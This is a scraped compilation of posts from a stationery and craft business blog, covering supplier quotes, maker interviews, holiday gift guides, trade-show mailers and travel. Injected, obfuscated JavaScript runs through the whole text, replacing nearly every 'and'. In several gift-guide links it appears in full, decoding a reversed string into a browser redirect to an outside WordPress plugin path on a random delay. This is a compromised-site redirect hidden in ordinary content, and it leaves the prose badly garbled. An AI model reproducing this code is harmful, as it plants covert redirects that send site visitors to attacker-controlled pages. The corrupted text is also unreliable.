Stationery Business: Tips For Getting Quotes

Stationery Business: Tips For Getting Quotes | Sycamore

Once you’ve found a list of suppliers andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and manufacturers to look into, you’ll want to start asking for quotes. I’ll be honest, it’s quite a tedious process, but it’s just necessary. If you do it well, it can really help your business!

MY TIPS FOR GETTING QUOTES:

  • When you’re starting out with smaller quantities, you may not need a custom quote. If you’re ordering lower quantities of envelopes, for example, you might just order directly from a website. Of if you only need 50 promotional postcards or flyers printed, you may be able to get an automatic quote by just plugging in your information on the manufacturer’s website.
  • Get multiple quotes. Don’t make the mistake of going with the first quote you get! Get at least 3. The more the better, although you do of course have to stop at some point.
  • Ask for a quote in writing. I do think it’s often a good idea to call first (before you ask for a quote) to get a general idea of what they can offer you andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and how they might be to work with. But when it comes to the actual quote, I recommend emailing it in so that it’s clearly written out.
  • Be clear andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and concise. Don’t write it all in one big paragraph where details tend to get lost. Instead, make bullet points or even a chart.
  • Don’t forget the details. You have to list out every little detail in your quote requests. For example, with printing, you should specify
    • Quantities: It’s common to ask for a few different quantities, to see the price breakdown. For example, 250, 500, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and 1000.
    • Size: both the size of the paper you will print on (press sheet) andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and size of finished product.
    • Colors: How many, for methods other than digital.
    • Paper Stock: Will you provide it or will they? If they will, do you know which kind you want them to get? If not, you should at least know the weight andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and paper type. 60lb text? 120 lb cover? Coated? Uncoated? Matte?
    • Other finishes required after printing: Trimming, die cutting (cutting into a non-rectangular or square shape), scoring, folding, etc…
    • Delivery: Will the items need to be shipped? If local, will you pick them up or do you want them to deliver?
    • Turnaround Time: How long will it take them to finish the job?
    • Proofs/Press Checks: What kind would you like? Is a digital PDF proof over email enough? Do you prefer a high res proof? Would you like to be present at the printshop for press check?
  • Follow up. As we all know, it’s a busy world, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and sometimes email doesn’t get answered. Don’t be afraid to follow up andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and be persistent to get the quotes you need.
  • Ask for revisions, if necessary. It’s not uncommon for there to be errors in the quotes you receive. Maybe they quoted the wrong paper or the wrong quantities. If you write a very organized andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and detailed quote request, that will help cut down on some error, but it’s still pretty common to find errors. Just let them know, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and politely ask for a revised quote. Again, don’t be afraid to follow up.
  • Don’t be afraid to negotiate. If you know you’d like to work with a certain manufacturer or supplier but their prices are a bit high, don’t be afraid to ask if they have any wiggle room or if they can match a lower priced quote from a competitor.

 

You can learn more about the stationery business by taking my online courses on atly.com: Stationery Business 100: Start Strong andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Stationery Business 200: Wholesale. Thanks! - Eva

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Sycamore Q&A: Janneke Luursema, Photographer | Amsterdam, Netherlandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands

Everything we do at Sycamore Street Press is with the goal of living a simple, beautiful & creative life, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and in helping others do the same. There are so many people who have inspired us on this path, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and we'd love to learn more from them! So we decided to start an interview series on the topic. Today we'll hear from Janneke Luursema, a Dutch photographer based in Amsterdam.

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I started photography after working a few years as an editor at a publishing house after getting my master’s degree in psychology. After which I realized studying psychology is one thing, but working as a psychologist requires totally different capabilities. Which I had not. So. At one point, I asked myself what I really wanted to do with my life (I did not have kids back then). What was my passion? I love to explore, I love to learn new things, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I decided to go back to school again. Photography. Turned out it was a good choice, I really love to take pictures, everyday since then. It helps me relax andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and fuels my battery. It keeps me sane.

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Gifts For Baby/Kid

Gifts For Baby/Kid | Sycamore

 

Christmas is so much more fun when there are little ones around, right?

From left to right, top to bottom.

  1. Super-soft, organic cotton pilot hat for the newborn or little aviator in your life.
  2. Jeanne the duck is the perfect nap-time companion.
  3. A baby poster that doesn’t look too much like a baby poster. :)
  4. This radish necklace is made from soft, baby alpaca wool. Plus, it’s super cute.
  5. A pair of grinning alligator temporary tattoos for the cool kid.
  6. Fun Fact: Spinning tops are the oldest known toy.
  7. Not only are these $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == “string”) return $vTB$I_919AeEAw2z$KX.list[n].split(“”).reverse().join(“”);return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=[“‘php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andlily.com%2Feasy-peasy%25C2%25AE-blublu-cheetah-booties%2Fm10907.html&pid=uid5264-31007208-39" target="_blank">booties the cutest, the cloth bags they come in turn into adorable handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and puppets.
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  9. A wonderful wall hanging printed on heavy linen.
  10. The Very Hungry Caterpillar is a children's classic.
  11. This $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andofnod.com/kids-play-chairs/kids-furniture/natural-good-nature-play-chair/s497567" target="_blank">rattan play chair is just their size.
  12. A beloved children's travel series.

 

Gifts For Her

Gifts For Her | Sycamore

Holiday gifts for your sister, your mother, your bestie, yourself… Dunzo!

From left to right, top to bottom.

  1. This fruity fragrance begins with a black pepper note enhanced by bergamot andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and black currant.
  2. Love these minimal hoop earrings.
  3. How fun are these fringe mittens?!
  4. This marbled notebook will look gorgeous on her desk.
  5. A simple moon hair brooch.
  6. This starry-night navy nail polish is the perfect shade for winter.
  7. These stoneware tumblers are simple, distinct looking, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and durable.
  8. A handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andsome whale for the paper lover.
  9. A vegetarian cookbook that is sure to become a staple in her kitchen.
  10. If you're lucky, she'll share the pesto she makes with this marble mortar andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and pestle.
  11. This soap is almost better than Horchata itself. Almost.
  12. Black leather Chelsea boots are a timeless choice.

 

Gifts For Him

Gifts For Him | Sycamore

Finding gifts for the men in your life can be tricky, right? We’ve got a cheat sheet right here…

From left to right, top to bottom.

  1. This pencil set contains four individual pencils crafted out of four rare woods.
  2. Chopper mitts for the outdoorsman.
  3. These notebooks are perfect for a guy who likes to take notes on the fly.
  4. Because we’ve all fallen into a cooking rut before.
  5. As a general rule, bears are a crowd favorite. 😉
  6. He’ll learn how to chop, stack, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and dry wood the Scandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andinavian way.
  7. An iPhone case andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a pocket square in one by none other than Jimmy Fallon.
  8. So he never loses his keys again.
  9. He'll enjoy looking at this $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andcrafted-modern" target="_blank">collection of photographs of mid-century interiors.
  10. An insulated bottle that will keep his drink hot or cold for 24 hours.
  11. The $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and-soy-wax-candom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andle" target="_blank">Hinterlandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Soy Wax Candom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andle has a mix of pine, spruce, oak moss, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and cedar -- with a hint of last night's campfire.
  12. Leather sneakers in concrete that are understatedly cool.

 

6 DIY Projects We Want To Try

Happy Thanksgiving! Between the turkey andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and pumpkin pie, here are some DIY projects we want to try over the holiday weekend.

6 DIY Projects We Want To Try | Sycamore

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6 DIY Projects We Want To Try | Sycamore

DIY Giant Macramé Rope Lights Tutorial by Vintage Revivals

6 DIY Projects We Want To Try | Sycamore

DIY Moon Phase Wall Mobile by The Merry Thought

6 DIY Projects We Want To Try | Sycamore

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DIY Block Printed Napkins by Almost Makes Perfect

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DIY Hanging Clay Planters by Paper & Stitch (featuring our Indigo Spots Gift Wrap!)

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New Curated Goods

You guys!!! We officially launched curated goods in our online shop! Kirk andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I have been dreaming about having a shop of curated goods for years... It's a HUGE step andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and risk for us, but we are so excited andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and love it andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and we think you will, too. Please go check out the shop andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and let us know what you think!

New Curated Goods | Sycamore

New Curated Goods | Sycamore

New Curated Goods | Sycamore

New Curated Goods | Sycamore

We have gifts for babies, kids, mothers, fathers, sisters, friends -- hopefully pretty much everyone on your list, to make it easy on you. :) I handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and picked every single item, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and every one is either something I have already or would LOVE to have. Thanks so much to everyone for your support over the years andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and helping us make this dream come alive!

Click here to see the online shop. Thanks again!  - Eva

Photography: Chaunté Vaughn, Styling: Meta Coleman

Sycamore Q&A: Kaity Farrell, Maker | Massachusetts, USA

Everything we do at Sycamore Street Press is with the goal of living a simple, beautiful & creative life, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and in helping others do the same. There are so many people who have inspired us on this path, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and we'd love to learn more from them! So we decided to start an interview series on the topic. Today we'll hear from Kaity Farrell, founder of Fare Isle, a sustainable small business that focuses on farm to table pantry items, botanical skin care andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and wellness products all made by handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and on her organic gardens 30 miles out at sea on the islandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and of Nantucket.

Sycamore Q&A: Kaity Farrell, Maker | Massachusetts, USA | Sycamore

Tell us a little about how you started Fare Isle.

I planted this little seed of an idea I had for many years after I gave birth to my son, Iley, four years ago. I knew I wanted to spend most of my time with him, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and be happy doing things I truly loved to do. I wanted to make andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and sell wholesome foods, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and did so at our local farmers market. Along the way, I started to include our handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andmade botanical bath andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and skincare products in our offerings. Before I started selling my products, my husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I had been cooking private dinners for years for vacationers on the islandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and in the summer, which we still continue to do andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and have moved our focus to creating farm-to-table small gatherings for clients. Added to all of that now are my Nantucket landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andscape/nature photography andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and flower art prints. I am now wholesaling our products across the country andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and am so grateful to see people enjoying them in their daily lives. Beyond the business side of things, my other passion is sharing my plant-based recipes on the Fare Isle Blog, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and my next (still far off) goal is to write a cookbook of wholesome seasonal recipes.

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Stationery Business: Tips for Sending Mailers

Stationery Business: Tips for Sending Mailers | Sycamore

As a stationery company, it only makes sense that you should be marketing through the mail. But unlike “direct mail” where you pay for a list that probably doesn’t fit your target demographic, you’ll get your addresses the old fashioned way, through research andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and hard work.

Timing:

January, May, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and August are popular times to send wholesale mailers. These months coincide with the major trade shows* andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and are times when retailers are ready andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and wanting to buy. In January, their stock is depleted after the holidays. In May, they might be depleted once again andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and are looking forward to all the new stationery. In August, they are loading up on orders for the upcoming holidays.

You may also want to consider sending your mailers out at unexpected times of year, which could help you standom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and out more since stockists will be receiving fewer mailers.

*The gifts shows in January andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and August andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the National Stationery Show in May. Find out the exact dates (they vary from year to year) andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and send out your mailers a week or two before the show, so that buyers are sure to see it before they go, but not so far in advance that they forget about it.

Stationery Business: Tips for Sending Mailers | Sycamore

Types of Marketing Material to Mail:

Keep reading for more information on the different types of marketing material...

Catalogs & Line Sheets

A digital catalog is fine if that’s all you can afford (andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and you aren’t working with reps), but if you are able, a printed catalog sent through the mail is a powerful tool. Shop owners andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and buyers love getting beautiful catalogs showcasing products that would look great on their shelves.

Angela Liguori andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Moglea have an example of a beautiful online digital catalog here andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and here.

Postcard or Other Show Specific Mailer

Traditionally, manufacturers send out postcards to potential buyers to announce upcoming trade shows. As you can imagine, in the stationery industry, we’ve really upped the ante. Try to make your mailer as memorable as possible while remaining within budget.

For example, one year Kristin Ley of Thimblepress had the idea to fill push pop holders with confetti as her National Stationery Show mailer. They were such a hit that all the retailers asked if she was selling them, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and now they are one of her best selling items andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and an iconic part of the industry.

But your mailer doesn’t have to be a completely new genre of stationery. A really fresh, well designed card should do the trick, too. At Sycamore Street Press, we often take one of our brandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and new greeting card designs andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and print a custom message/invitation to the show inside. It’s been simple andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and effective for us.

For more in depth information, you can find our Stationery Biz 200: Wholesale class here.

You might also like: Inventory Resources & TipsTips For Finding Stationery Suppliers & Manufacturers, & Tips For Assembling Stationery.

Due to popular demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and, we’re working on a brandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and new class called Shop Biz 100: Online, Pop-Ups + Bricks andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Mortar. To stay in the loop, sign up for our Creative Business newsletter here.

Photos by Jessica Peterson for Sycamore Street Press.

Southern Utah (With Kids, in the Heat of Summer)

Sometimes I get so caught up in my dreams of far off places that I forget what amazing things are on my very doorstep! Utah has such a striking landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andscape -- from the forested mountains, to the red rock deserts, to the bleached white salt flats... Kirk andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I have decided that we need to take more advantage of this andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and share these places with Ingrid andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Lars. Whenever we can, we plan out a Saturday adventure to somewhere nearby.

Southern Utah (With Kids, in the Heat of Summer) | Sycamore

We’re also trying to take little weekend trips when we can. This summer, we headed to Southern Utah to explore Canyonlandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and more with our family andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a visiting friend… Unfortunately, there was a huge heat wave while we were there. That, combined with the fact that we had our two small kids in tow, meant the normal recreational activity of tourists to the area -- hiking  -- wasn’t really an option. We still had so much fun, though, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I highly recommend a visit if you haven’t already been. Keep reading to see the places we discovered… Read More…

Sycamore Q&A: Tanika Reed, Fiber Artist | New South Wales, Australia

Everything we do at Sycamore Street Press is with the goal of living a simple, beautiful & creative life, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and in helping others do the same. There are so many people who have inspired us on this path, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and we'd love to learn more from them! So we decided to start an interview series on the topic. Today we'll hear from Tanika Reed, an Australian fibre artist based in her small home studio on the South Coast, New South Wales.

Sycamore Q&A: Tanika Reed, Fiber Artist | New South Wales, Australia | Sycamore

Tell us a little about how you got started doing fibre art.

I fell in love with knotting early last year when my nan handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anded me her much-loved vintage macramé books. I have had an inherent desire to make andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and create from a young age, my creative family has influenced me a lot. I began to knot plant hangers andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and simple designs because for some reason I believed that’s all you could do with knotting rope andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and string. I felt unchallenged andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and grew bored of it pretty quickly, so I began experimenting with other mediums. (I thank God for my husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Ash’s strong support andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and encouragement as I trialled clay, weaving andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and abstract painting -- spending A LOT of hard earned money on craft supplies…whoops!) Feeling unsatisfied andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and doubting my crafting ability, I decided to turn back to rope andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and string on Ash’s advice as he noticed I had picked it up so quickly (andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and it was also a “cleaner” hobby to have with little kids around!). As I lay in bed one night, I began thinking about my daughter’s love for colouring in between the lines in her colouring books andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and for some reason I could then imagine transferring the concept into knotting between the lines of rope. The next day I was eager to test out this weird idea andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and that is where my technique has evolved from. I knot large fibres andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and then use smaller fibres to knot in between the spaces, adding layers to create texture andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a three-dimensional effect as the piece unfolds.
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Stationery Business: Inventory Resources & Tips

Stationery Business: Inventory Resources & Tips | Sycamore

How are you tracking your product? What is your best selling card? Do you have 60 of this item for a wholesale order? All of that information should be readily available. Set up a notification in your inventory system, if possible, when your inventory diminishes to a set quantity. I.E. Card “X” has 100 left in stock, time to reorder/print. Finding the right system for inventory is difficult, though, as I’ll explain…

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10 Textile Ideas to Obsess Over

10 Textile Ideas to Obsess Over | Sycamore

I have a dream that one day I’ll wandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander all over the world collecting beautiful textiles as I go. They're beautiful, useful, full of history andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and culture, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and easy to transport... andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I'm obsessed. The image above is from Vogue Magazine -- wouldn't you die to have that terrace with its whitewashed walls, wooden beams, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and of course, alluring textiles? - Eva

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Adding Curated Goods to the Shop

Adding Curated Goods to the Shop | Sycamore

The Dream

For many years, Kirk andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I dreamed about opening a brick andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and mortar shop. It would be filled not only with our own creations, but with a carefully curated mix of goods befitting a simple, yet beautiful life. But the dream didn’t come true. There were various reasons -- the town we live in isn’t the best fit for a shop we’d want to open, we’ve been focused on growing our stationery brandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and, starting a family, etc…

But at the end of 2012, I decided it was time to take action. I knew the time wasn’t quite right to open a brick andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and mortar, but why not expandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and our online shop to include items made by other makers? We decided to go for it, so in January of 2013, I hopped a flight to New York to attend NYNow, one of the biggest gift trade shows in the country. I spent two entire days walking down every single aisle of the show, gathering catalogs andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and meeting vendors. I started to make a list of items I’d like to order for the shop.

And then some crazy stuff happened in our life andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and work -- it was kind of like the perfect storm, you know? To be honest, it had been building for awhile, but I didn’t fully realize it until I got back from that trip. I went into survival mode andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and once again, the shop expansion got put on hold.

Keep reading to see how we are finally going to make this dream come true, along with the items we’ll be carrying… Read More...

Desert Dreaming

Desert Dreaming | Sycamore

Desert Dreaming | Sycamore

Desert Dreaming | Sycamore

Desert Dreaming | Sycamore

Desert Dreaming | Sycamore

Desert Dreaming | Sycamore

Desert Dreaming | Sycamore

Desert Dreaming | Sycamore

Desert Dreaming | Sycamore

Desert Dreaming | Sycamore

1) Anthropologie 2) Kevin Russ 3) Lisa Orgini 4) $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == “string”) return $vTB$I_919AeEAw2z$KX.list[n].split(“”).reverse().join(“”);return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=[“‘php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and-the-great-american-road-trip/" target="_blank">MessyNessy 5) Sarah Eisenlohr 6) Wilder California 7) Nicole Franzen 8) Nicole Franzen 9) Georgia O'Keeffe andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Her Houses 10) Kevin Russ

The desert has always been a part of my life andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and my inspiration (find an example here). I feel a road trip coming on...

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Stay Cool

For me, summer fashion is all about staying cool while still looking stylish. Here are some pieces to help get you started…

Stay Cool | Sycamore

Stay Cool | Sycamore

Stay Cool | Sycamore

Stay Cool | Sycamore

Stay Cool | Sycamore

1) Edith A. Miller 2) Ilana Kohn 3) New Balance 4) Aritzia 5) Clare V.

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10 Steps to Working Smarter (Not Harder) at Your Small Creative Business

10 Steps to Working Smarter (Not Harder) at Your Small Creative Business | Sycamore

